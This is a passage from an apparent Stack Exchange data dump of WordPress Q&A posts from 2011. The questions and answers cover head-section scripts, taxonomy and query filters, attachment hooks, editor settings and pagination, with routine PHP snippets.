  <row Id="12350" PostTypeId="2" ParentId="12343" CreationDate="2011-03-18T07:03:27.023" Score="2" ViewCount="" Body="&lt;p&gt;You could use the &lt;a href=&quot;http://wordpress.org/extend/plugins/wordpress-mu-domain-mapping/&quot; rel=&quot;nofollow&quot; title=&quot;Domain Mapper&quot;&gt;Domain Mapper&lt;/a&gt; plugin for this. Drawback being that you'd have manually configure each subblog. &lt;/p&gt;&#xA;" OwnerUserId="3637" LastActivityDate="2011-03-18T07:03:27.023" CommentCount="5" />
  <row Id="12351" PostTypeId="1" AcceptedAnswerId="12352" CreationDate="2011-03-18T07:33:07.200" Score="0" ViewCount="259" Body="&lt;p&gt;Specifically, I'm talking about the following which gets added automatically:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1) &lt;code&gt;&amp;lt;script type='text/javascript' src='http://mysite.com/wp-includes/js/l10n.js?ver=20101110'&amp;gt;&amp;lt;/script&amp;gt;&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;2) &lt;code&gt;&amp;lt;script type=&quot;text/javascript&quot;&amp;gt; &#xA;//&amp;lt;![CDATA[&#xA;var _wpcf7 = { cached: 1 };&#xA;//]]&amp;gt;&#xA;&amp;lt;/script&amp;gt;&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;3) &lt;code&gt;&amp;lt;link rel=&quot;stylesheet&quot; href=&quot;http://disqus.com/stylesheets/theme/disqus.css?v=2.0&quot; type=&quot;text/css&quot; media=&quot;screen&quot; /&amp;gt;&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;4) &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;style type='text/css'&amp;gt; &#xA;#wpadminbar .quicklinks li#wp-admin-bar-stats {height:28px}&#xA;#wpadminbar .quicklinks li#wp-admin-bar-stats a {height:28px;padding:0}&#xA;#wpadminbar .quicklinks li#wp-admin-bar-stats a img {padding:4px 11px}&#xA;&amp;lt;/style&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Not sure about #1, I know #2 is generated by the Contact Form 7 plugin, #3 is Disqus, and #4 is from the new admin bar in 3.1 and although I added &lt;code&gt;show_admin_bar( false );&lt;/code&gt; to my functions file, the styles still show up in my head section. Anyway to get rid of all or at least some of these?&lt;/p&gt;&#xA;" OwnerUserId="3714" LastActivityDate="2011-05-24T03:45:48.797" Title="removing wordpress generated code from the head section?" Tags="&lt;wp-head&gt;" AnswerCount="3" />
  <row Id="12352" PostTypeId="2" ParentId="12351" CreationDate="2011-03-18T08:37:37.390" Score="0" ViewCount="" Body="&lt;p&gt;1) Normally not (that's the translation mechanism offered for javscript strings), but you can probably de-register that l10n script. But be warned that some plugins and the site might not work as intended any longer.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;2) Yes, by uninstalling the contact form 7 plugin.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;3) Yes, by removing the disqus plugin.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;4) If disabling the admin bar did not work, please report this as a bug in &lt;a href=&quot;http://core.trac.wordpress.org/&quot; rel=&quot;nofollow&quot;&gt;wordpress trac&lt;/a&gt;. I assume it left's over a registered hook to be removed, but that's just an assumption.&lt;/p&gt;&#xA;" OwnerUserId="178" LastActivityDate="2011-03-18T08:37:37.390" />
  <row Id="12353" PostTypeId="2" ParentId="12341" CreationDate="2011-03-18T08:51:33.427" Score="1" ViewCount="" Body="&lt;p&gt;For what i Know, the transient API should do the trick.&lt;/p&gt;&#xA;" OwnerUserId="3875" LastEditorUserId="178" LastEditorDisplayName="" LastEditDate="2011-03-20T15:36:06.003" LastActivityDate="2011-03-20T15:36:06.003" />
  <row Id="12354" PostTypeId="2" ParentId="12340" CreationDate="2011-03-18T08:58:46.410" Score="0" ViewCount="" Body="&lt;p&gt;I have a handy little function that i based on &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/in_category#Testing_if_a_post_is_in_a_descendant_category&quot; rel=&quot;nofollow&quot;&gt;post_is_in_descendant_category function&lt;/a&gt;&#xA;it expends the is_tax to check if its the term or any of his children&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function is_or_descendant_tax( $terms,$taxonomy){&#xA;    if (is_tax($taxonomy, $terms)){&#xA;            return true;&#xA;    }&#xA;    foreach ( (array) $terms as $term ) {&#xA;        // get_term_children() accepts integer ID only&#xA;        $descendants = get_term_children( (int) $term, $taxonomy);&#xA;        if ( $descendants &amp;amp;&amp;amp; is_tax($taxonomy, $descendants) )&#xA;            return true;&#xA;    }&#xA;    return false;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and you use it just the same so instead of:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;is_tax('flavor', 'mild');&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;you put: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;is_or_descendant_tax(get_term_by( 'name', 'mild', 'flavor' ), 'flavor');&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;or if you are using term id instead of name then:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;is_or_descendant_tax(12, 'flavor');&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;and you are set.&lt;/p&gt;&#xA;" OwnerUserId="2487" LastEditorUserId="2487" LastEditorDisplayName="" LastEditDate="2011-03-18T09:56:24.317" LastActivityDate="2011-03-18T09:56:24.317" CommentCount="2" />
  <row Id="12356" PostTypeId="2" ParentId="11758" CreationDate="2011-03-18T09:02:17.467" Score="1" ViewCount="" Body="&lt;p&gt;I solved filtering the query by adding the join on the postmeta table and changing the where clause.&#xA;tips on filtering the WHERE clause (often require regular expression search&amp;amp;replace) are &lt;a href=&quot;http://codex.wordpress.org/Plugin_API/Filter_Reference/posts_where&quot; rel=&quot;nofollow&quot;&gt;here on codex&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_filter('posts_join', 'segnalazioni_search_join' );&#xA;function segnalazioni_search_join ($join){&#xA;    global $pagenow, $wpdb;&#xA;    // I want the filter only when performing a search on edit page of Custom Post Type named &quot;segnalazioni&quot;&#xA;    if ( is_admin() &amp;amp;&amp;amp; $pagenow=='edit.php' &amp;amp;&amp;amp; $_GET['post_type']=='segnalazioni' &amp;amp;&amp;amp; $_GET['s'] != '') {    &#xA;        $join .='LEFT JOIN '.$wpdb-&amp;gt;postmeta. ' ON '. $wpdb-&amp;gt;posts . '.ID = ' . $wpdb-&amp;gt;postmeta . '.post_id ';&#xA;    }&#xA;    return $join;&#xA;}&#xA;&#xA;add_filter( 'posts_where', 'segnalazioni_search_where' );&#xA;function segnalazioni_search_where( $where ){&#xA;    global $pagenow, $wpdb;&#xA;    // I want the filter only when performing a search on edit page of Custom Post Type named &quot;segnalazioni&quot;&#xA;    if ( is_admin() &amp;amp;&amp;amp; $pagenow=='edit.php' &amp;amp;&amp;amp; $_GET['post_type']=='segnalazioni' &amp;amp;&amp;amp; $_GET['s'] != '') {&#xA;        $where = preg_replace(&#xA;       &quot;/\(\s*&quot;.$wpdb-&amp;gt;posts.&quot;.post_title\s+LIKE\s*(\'[^\']+\')\s*\)/&quot;,&#xA;       &quot;(&quot;.$wpdb-&amp;gt;posts.&quot;.post_title LIKE $1) OR (&quot;.$wpdb-&amp;gt;postmeta.&quot;.meta_value LIKE $1)&quot;, $where );&#xA;    }&#xA;    return $where;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3875" LastActivityDate="2011-03-18T09:02:17.467" />
  <row Id="12357" PostTypeId="2" ParentId="12341" CreationDate="2011-03-18T09:06:56.247" Score="3" ViewCount="" Body="&lt;p&gt;It does not. Some functionality actively uses HTTP API and is cached - feed fetching, updates checking. But caching is always implemented at wrapper's level.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Making HTTP request without context is too unspecific to make educated guess about caching needs (one minute or one hour).&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2011-03-18T09:06:56.247" />
  <row Id="12359" PostTypeId="2" ParentId="10582" CreationDate="2011-03-18T09:09:52.157" Score="1" ViewCount="" Body="&lt;p&gt;I have the same problem with displaying number of comments in the loop.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I solve this by turn off two filters in file &lt;em&gt;plugins/disqus/disqus.php&lt;/em&gt; at line 1124:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;#add_filter('comments_number', 'dsq_comments_text');&#xA;#add_filter('get_comments_number', 'dsq_comments_number');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And I have added to my template span with disqus elements:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;if ( function_exists( 'dsq_identifier_for_post' ) ) {&#xA;    global $post;&#xA;    echo  '&amp;lt;span class=&quot;'.$css_class.' dsq-postid&quot; rel=&quot;'.htmlspecialchars(dsq_identifier_for_post($post)).'&quot;&amp;gt;';&#xA;} else {&#xA;    echo '&amp;lt;span class=&quot;'.$css_class.'&quot;&amp;gt;';&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3768" LastActivityDate="2011-03-18T09:09:52.157" CommentCount="1" />
  <row Id="12360" PostTypeId="1" CreationDate="2011-03-18T09:23:36.897" Score="0" ViewCount="205" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;strong&gt;Possible Duplicate:&lt;/strong&gt;&lt;br&gt;&#xA;  &lt;a href=&quot;http://wordpress.stackexchange.com/questions/7134/front-end-register-form&quot;&gt;Front-end Register Form&lt;/a&gt;  &lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&#xA;&#xA;&lt;p&gt;i like to create custom register form like &lt;a href=&quot;http://www.bharatmatrimony.com/&quot; rel=&quot;nofollow&quot;&gt;http://www.bharatmatrimony.com/&lt;/a&gt;  this page in worpress ... i have searched many plugins no one helps me ... &lt;/p&gt;&#xA;&#xA;&lt;p&gt;How to do this any idea !&lt;/p&gt;&#xA;" OwnerUserId="4022" LastEditorUserId="2110" LastEditorDisplayName="" LastEditDate="2011-03-18T09:47:01.187" LastActivityDate="2011-04-12T13:42:02.563" ClosedDate="2011-04-12T14:10:36.303" Title="custom registration form" Tags="&lt;plugins&gt;&lt;themes&gt;&lt;registration&gt;&lt;front-end&gt;" AnswerCount="2" CommentCount="1" />
  <row Id="12361" PostTypeId="2" ParentId="12360" CreationDate="2011-03-18T10:01:37.340" Score="0" ViewCount="" Body="&lt;p&gt;you can use &lt;a href=&quot;http://wordpress.org/extend/plugins/cimy-user-extra-fields/&quot; rel=&quot;nofollow&quot;&gt;Cimy User Extra Fields&lt;/a&gt; , its a plugin that lets you add extra user fields to the registration form.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;or you can create your own custom registration page with your extra fields by following this great article &lt;a href=&quot;http://www.cozmoslabs.com/2010/05/31/wordpress-user-registration-template-and-custom-user-profile-fields/&quot; rel=&quot;nofollow&quot;&gt;http://www.cozmoslabs.com/2010/05/31/wordpress-user-registration-template-and-custom-user-profile-fields/&lt;/a&gt; &lt;/p&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-03-18T10:01:37.340" />
  <row Id="12362" PostTypeId="2" ParentId="12339" CreationDate="2011-03-18T10:22:04.263" Score="1" ViewCount="" Body="&lt;p&gt;you have two filters you can use: &lt;code&gt;attachment_fields_to_save&lt;/code&gt;&#xA;which gets two paramaters ( $post, $attachment) &#xA;so :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_filter('attachment_fields_to_save',your_image_analyse_function);&#xA;&#xA;function your_image_analyse_function($post, $attachment){&#xA;  $attachment['url']&#xA;  //do your stuff&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and &lt;code&gt;media_send_to_editor&lt;/code&gt; which gets 3 paramaters ( $html, $send_id, $attachment) and fires after you click the send to editor so once again you can use $attachment. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_filter('media_send_to_editor',your_image_analyse_function);&#xA;&#xA;function your_image_analyse_function($html, $send_id, $attachment){&#xA;  $attachment['url']&#xA;  //do your stuff&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-03-18T10:22:04.263" CommentCount="1" />
  <row Id="12363" PostTypeId="2" ParentId="12339" CreationDate="2011-03-18T10:28:40.497" Score="2" ViewCount="" Body="&lt;p&gt;Turns out I solved my own question with help from a colleague. The two filters that get called after media is uploaded or when media is being edited are; 'add_attachment' and 'edit_attachment'. Here is the code I am using, I then check to see if the attachment is an image (code omitted from example).&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function analyse_attachment($attachment_ID)&#xA;{          &#xA;    $attachment = get_attached_file($attachment_ID); // Gets path to attachment&#xA;    update_post_meta($attachment_ID, &quot;image_rgb&quot;, $the_colour);&#xA;}&#xA;&#xA;add_action(&quot;add_attachment&quot;, 'analyse_attachment');&#xA;add_action(&quot;edit_attachment&quot;, 'analyse_attachment');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Obviously I've omitted some stuff that isn't relevant to the question. But that code gets called right after you've uploaded or edited an attachment.&lt;/p&gt;&#xA;" OwnerUserId="1687" LastEditorUserId="1687" LastEditorDisplayName="" LastEditDate="2011-03-20T01:16:42.740" LastActivityDate="2011-03-20T01:16:42.740" />
  <row Id="12365" PostTypeId="1" CreationDate="2010-05-11T13:15:24.530" Score="0" ViewCount="38" Body="&lt;p&gt;Currently, I have a blog which is running on wordpress. I want to know how many users subscribe my feeds. I know that if i used feedburner, I can get the counter from there. But I was really wondering if there's anyway that we can track the subscriber easily.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Please kindly share the code or ideas. Thanks.&lt;/p&gt;&#xA;" LastActivityDate="2011-03-18T10:35:36.707" Title="RSS Subsriber count without using feedburner" Tags="&lt;php&gt;&lt;rss&gt;" AnswerCount="1" />
  <row Id="12366" PostTypeId="2" ParentId="12365" CreationDate="2010-05-11T13:35:02.773" Score="1" ViewCount="" Body="&lt;p&gt;This is more of a wordpress question, but the &lt;a href=&quot;http://wordpress.org/extend/plugins/wordpress-feed-statistics/&quot; rel=&quot;nofollow&quot;&gt;Feed Statistics plugin&lt;/a&gt; may do what you need.&lt;/p&gt;&#xA;" LastActivityDate="2010-05-11T13:35:02.773" CommentCount="1" />
  <row Id="12367" PostTypeId="2" ParentId="12335" CreationDate="2011-03-18T11:37:46.257" Score="1" ViewCount="" Body="&lt;p&gt;Probabbly the easest way to do it is use: &lt;a href=&quot;http://wordpress.org/extend/plugins/kalins-post-list/screenshots/&quot; rel=&quot;nofollow&quot;&gt;Kalin's Post List&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Creates a shortcode or PHP snippet for inserting dynamic, highly customizable lists of posts or pages such as related posts or table of contents into your post content or theme.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;so you can either use a shortcode or edit your theme file.&lt;/p&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-03-18T11:37:46.257" CommentCount="1" />
  <row Id="12368" PostTypeId="1" CreationDate="2011-03-18T12:21:07.017" Score="0" ViewCount="391" Body="&lt;p&gt;How do I change notification emails address from WordPress @mydomain.net to something else.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want to do this because WordPress @mydomain.net ends up getting flagged as junk mail.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Daniel&lt;/p&gt;&#xA;" OwnerUserId="4030" LastEditorUserId="847" LastEditorDisplayName="" LastEditDate="2011-08-27T14:26:54.847" LastActivityDate="2011-08-27T14:26:54.847" Title="changing notification emails from WordPress &lt;wordpress&gt;@mydomain.net to something else" Tags="&lt;email&gt;" AnswerCount="3" CommentCount="3" />
  <row Id="12369" PostTypeId="1" AcceptedAnswerId="17570" CreationDate="2011-03-18T12:36:59.357" Score="0" ViewCount="489" Body="&lt;p&gt;I would really appreciate if you could help me :) I'm very stuck and don't know how to proceed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have a custom post type called &lt;code&gt;event&lt;/code&gt; and 2 custom taxonomies registered for it:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;code&gt;event_type&lt;/code&gt; with tag-like functionality (ex. of event type: yoga, voice work)&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;event_location&lt;/code&gt; with category-like functionality (ex of event location: uk-&gt;brighton, london; europe-&gt;paris).&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;There are pages on the website like &lt;code&gt;Yoga -&amp;gt; Upcoming events&lt;/code&gt;; &lt;code&gt;Voice work -&amp;gt; Upcoming workshops&lt;/code&gt;. Depending on which page we are on I'd like to display appropriate events. For example, if we're on page &lt;code&gt;Yoga -&amp;gt; Upcoming events&lt;/code&gt; I'd like to display all &lt;code&gt;event&lt;/code&gt; custom posts with &lt;code&gt;event_type&lt;/code&gt; being yoga and then group the results by &lt;code&gt;event_location&lt;/code&gt; taxonomy terms. For example, list all yoga events for UK, Brighton then UK, London and then Europe, Paris and so on.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I currently do in a template is the following:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;I get the slug of the current page and its ancestors.&lt;/li&gt;&#xA;&lt;li&gt;I get slugs of all terms in the &lt;code&gt;event_type&lt;/code&gt; taxonomy, that have some events associated with them.&lt;/li&gt;&#xA;&lt;li&gt;I determine which event types to display, by intersecting previously gathered values.&lt;/li&gt;&#xA;&lt;li&gt;Then I construct a WP_Query to get &lt;code&gt;event&lt;/code&gt; posts with determined &lt;code&gt;event_type&lt;/code&gt; taxonomy terms.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;This seems to work. However, results came back unordered and I would like them to be ordered by &lt;code&gt;event_location&lt;/code&gt; taxonomy terms. For example:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;UK&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Brighton&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Event 1&lt;/li&gt;&#xA;&lt;li&gt;Event 2   &lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;li&gt;London&lt;br&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Event 3&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Europe   &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Paris&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Event 4&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;I would also like to display only non-expired &lt;code&gt;event&lt;/code&gt; posts and order them by &lt;code&gt;event_date&lt;/code&gt;. The &lt;code&gt;event_date&lt;/code&gt; value is stored as meta value along with the rest of &lt;code&gt;event&lt;/code&gt; post details under a single meta_key.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Here is my code so far:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    //pull in the appropriate events depending on the page type: yoga/voice work&#xA;    /* get the ancestors and current page slugs */&#xA;    // collect ancestor pages&#xA;    $relations = get_post_ancestors($post-&amp;gt;ID);&#xA;    // add current post to pages&#xA;    array_push($relations, $post-&amp;gt;ID);&#xA;    // get pages slugs&#xA;    $relations_slugs = array();&#xA;    foreach($relations as $page_ID){&#xA;        $page = get_page($page_ID);&#xA;        array_push($relations_slugs, $page-&amp;gt;post_name);&#xA;    }&#xA;&#xA;    /* get the term slugs (non-empty) for event_type taxonomy */&#xA;    //get the event_type taxonomy values&#xA;    $event_types = get_terms( 'event_type', 'hide_empty=true' );&#xA;    $event_types_slugs = array();&#xA;    foreach($event_types as $event_type){&#xA;        array_push($event_types_slugs, $event_type-&amp;gt;slug);&#xA;    }&#xA;&#xA;    /* find what event_type to display on the current page */&#xA;    $page_event_types = array_intersect($relations_slugs, $event_types_slugs);&#xA;    $page_event_types_string = implode(&quot;,&quot;,$page_event_types);&#xA;&#xA;    /* find the events of the event_type to display on the current page */&#xA;    $args = array(&#xA;        'post_type' =&amp;gt; 'event',&#xA;        'tax_query' =&amp;gt; array(&#xA;            array(&#xA;                'taxonomy' =&amp;gt; 'event_type',&#xA;                'field' =&amp;gt; 'slug',&#xA;                'terms' =&amp;gt; $page_event_types_string&#xA;            )&#xA;        )&#xA;    );&#xA;    $temp = $wp_query; //assign orginal query to temp variable for later use   &#xA;    $wp_query = null;&#xA;    $wp_query = new WP_Query($args);&#xA;&#xA;    /* run the loop to output the event's details */&#xA;    get_template_part( 'loop', 'event-details' );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I'm not great at constructing SQL statements. I would really appreciate if you could help me.&#xA;Thank you very much!!!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EDIT&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have significantly simplified the functionality (as I got quite confused and lost in the original one). Please see my answer.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks to @Bainternet for taking the time and trying to help me out!&lt;/p&gt;&#xA;" OwnerUserId="1343" LastEditorUserId="1343" LastEditorDisplayName="" LastEditDate="2011-05-18T11:13:31.363" LastActivityDate="2011-05-18T11:13:31.363" Title="how to group custom post type posts by custom taxonomy terms" Tags="&lt;custom-post-types&gt;&lt;custom-taxonomy&gt;&lt;query-posts&gt;&lt;wp-query&gt;" AnswerCount="3" CommentCount="1" FavoriteCount="1" />
  <row Id="12370" PostTypeId="1" CreationDate="2011-03-18T12:52:48.370" Score="1" ViewCount="230" Body="&lt;p&gt;I read several articles about configuring the WordPress editor. For example, &lt;a href=&quot;http://wp-snippets.com/set-default-editor/&quot; rel=&quot;nofollow&quot;&gt;this snippet&lt;/a&gt; shows how to permanently set the editor to HTML or WYSIWYG &lt;em&gt;for all contents&lt;/em&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm wondering if it's possible to disable the WYSIWYG only when the user is creating a page, leaving it enabled for any other WordPress content type.&lt;/p&gt;&#xA;" OwnerUserId="4032" LastActivityDate="2011-05-24T21:00:46.900" Title="Disable WYSIWYG editor only when creating a page" Tags="&lt;editor&gt;&lt;visual-editor&gt;" AnswerCount="3" FavoriteCount="1" />
  <row Id="12371" PostTypeId="2" ParentId="12370" CreationDate="2011-03-18T13:10:04.300" Score="3" ViewCount="" Body="&lt;p&gt;Try this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_filter( 'wp_default_editor', 'rw_default_editor' );&#xA;function rw_default_editor( $type ) {&#xA;    global $post_type;&#xA;    if('page' == $post_type) &#xA;        return 'html';&#xA;    return $type;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2051" LastEditorUserId="1468" LastEditorDisplayName="" LastEditDate="2011-03-18T14:09:02.420" LastActivityDate="2011-03-18T14:09:02.420" CommentCount="5" />
  <row Id="12372" PostTypeId="1" AcceptedAnswerId="12377" CreationDate="2011-03-18T13:16:23.707" Score="1" ViewCount="315" Body="&lt;p&gt;In a situation where one has 20 posts per page. I would like to get the current page number in order to make some nice page links at the bottom. How do you get the current page. I tried this &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php echo '(Page '.$page.' of '.$numpages.')'; ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and it just says page 1 of 1 on every page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Marvellous&lt;/p&gt;&#xA;" OwnerUserId="2957" LastActivityDate="2011-04-16T10:18:04.783" Title="Get the Current Page Number" Tags="&lt;posts&gt;&lt;page&gt;" AnswerCount="3" />
  <row Id="12373" PostTypeId="2" ParentId="7123" CreationDate="2011-03-18T13:20:47.993" Score="0" ViewCount="" Body="&lt;p&gt;I would advise that you deploy another copy of your site with different connection details to &lt;a href=&quot;http://admin.example.com/&quot; rel=&quot;nofollow&quot;&gt;http://admin.example.com/&lt;/a&gt; This admin area would use the master connection details and do reads and writes to the master and would not suffer from any issues from data not being available. You can force the admin URL to be different by setting flags in the wp-config.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    define('WP_SITEURL', 'http://admin.example.com');&#xA;    define('WP_CONTENT_URL', 'http://admin.example.com');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The frontend site &lt;a href=&quot;http://example.com/&quot; rel=&quot;nofollow&quot;&gt;http://example.com/&lt;/a&gt; would work as it does currently. &lt;/p&gt;&#xA;" OwnerUserId="3282" LastActivityDate="2011-03-18T13:20:47.993" CommentCount="5" />
  <row Id="12374" PostTypeId="1" AcceptedAnswerId="12375" CreationDate="2011-03-18T13:24:34.973" Score="1" ViewCount="75" Body="&lt;p&gt;Hey,&#xA;im not sure why but php files other then wordpress either redirects to homepage or gives a 404. &#xA;for example i have a timthumb.php in directory /js/  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;it was working fine and generating thumnails for me.. but it started to give 404 on even running the direct url. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can take a look here : www.designzzz.com/js/ you will see timthumb.php available, but on clicking or running that file it gives 404 :( .&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Help is appreciated :) &lt;/p&gt;&#xA;&#xA;&lt;p&gt;cheers&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Ayaz&lt;/p&gt;&#xA;" OwnerUserId="2419" LastActivityDate="2011-03-18T13:35:29.667" Title="File available but giving 404 in wordpress" Tags="&lt;errors&gt;&lt;redirect&gt;&lt;3.1&gt;" AnswerCount="1" />
  <row Id="12375" PostTypeId="2" ParentId="12374" CreationDate="2011-03-18T13:35:29.667" Score="4" ViewCount="" Body="&lt;p&gt;Check the permissions on the JS folder against the folders for the rest of the site.&lt;/p&gt;&#xA;" OwnerUserId="3282" LastActivityDate="2011-03-18T13:35:29.667" CommentCount="2" />
  <row Id="12376" PostTypeId="2" ParentId="12372" CreationDate="2011-03-18T13:52:07.823" Score="0" ViewCount="" Body="&lt;p&gt;why don't you try a page navi plugin for that, does the same&lt;/p&gt;&#xA;" OwnerUserId="2419" LastActivityDate="2011-03-18T13:52:07.823" />
  <row Id="12377" PostTypeId="2" ParentId="12372" CreationDate="2011-03-18T14:01:54.083" Score="2" ViewCount="" Body="&lt;p&gt;When WordPress is using pagination like this, there's a query variable &lt;code&gt;$paged&lt;/code&gt; that it keys on.  So page 1 is &lt;code&gt;$paged=1&lt;/code&gt; and page 15 is &lt;code&gt;$paged=15&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can get the value of this variable with the following code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$paged = (get_query_var('paged')) ? get_query_var('paged') : 1;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Getting the total number of pages is a bit trickier.  First you have to count all the posts in the database.  Then filter by which posts are published (versus which are drafts, scheduled, trash, etc.).  &lt;em&gt;Then&lt;/em&gt; you have to divide this count by the number of posts you expect to appear on each page:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$total_post_count = wp_count_posts();&#xA;$published_post_count = $total_post_count-&amp;gt;publish;&#xA;$total_pages = ceil( $published_post_count / $posts_per_page );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I haven't tested this yet, but you might need to fetch &lt;code&gt;$posts_per_page&lt;/code&gt; the same way you fetched &lt;code&gt;$paged&lt;/code&gt; (using &lt;code&gt;get_query_var()&lt;/code&gt;).&lt;/p&gt;&#xA;" OwnerUserId="46" LastActivityDate="2011-03-18T14:01:54.083" CommentCount="2" />
  <row Id="12378" PostTypeId="2" ParentId="12372" CreationDate="2011-03-18T14:06:00.320" Score="3" ViewCount="" Body="&lt;p&gt;You could do it with a single line of code, but then again, you might want to add the code in other places, so a function is usually more useful.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function current_paged( $var = '' ) {&#xA;    if( empty( $var ) ) {&#xA;        global $wp_query;&#xA;        if( !isset( $wp_query-&amp;gt;max_num_pages ) )&#xA;            return;&#xA;        $pages = $wp_query-&amp;gt;max_num_pages;&#xA;    }&#xA;    else {&#xA;        global $$var;&#xA;            if( !is_a( $$var, 'WP_Query' ) )&#xA;                return;&#xA;        if( !isset( $$var-&amp;gt;max_num_pages ) || !isset( $$var ) )&#xA;            return;&#xA;        $pages = absint( $$var-&amp;gt;max_num_pages );&#xA;    }&#xA;    if( $pages &amp;lt; 1 )&#xA;        return;&#xA;    $page = get_query_var( 'paged' ) ? 